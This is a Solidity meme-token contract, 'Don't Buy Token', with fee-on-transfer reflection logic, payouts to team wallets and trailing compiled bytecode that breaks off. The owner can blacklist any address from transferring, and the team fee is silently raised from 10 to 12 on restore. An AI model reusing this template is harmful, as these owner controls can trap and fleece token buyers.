| | | '\ \ / / | ' ' | `'-)/ .' |_ || __ \ \ / /
| | | | `. ` ..' / | | | | /'.' | ||/'__ '. _ _ \ \ / /
| | ' .' '-...-'` | | | | '--. .-' |:/` '. ' | ' / | \ \ / /
| |___.' /' | | | | | | || | |.' | .' | \ ` /
/_______.'/ | | | | | | ||\ / '/ | / | \ /
\_______|/ | | | | | '.' |/\'..' /| `'. | / /
| | | | | / ' `'-'` ' .'| '/|`-' /
'--' '--' `'-' `-' `--' '..'
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DontBuyToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Don't Buy Token";
string private constant _symbol = "\xE2\x9B\x94DontBuy\xE2\x9B\x94";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600f81526020017f446f6e27742042757920546f6b656e0000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017fe29b94446f6e74427579e29b9400000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601442611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffff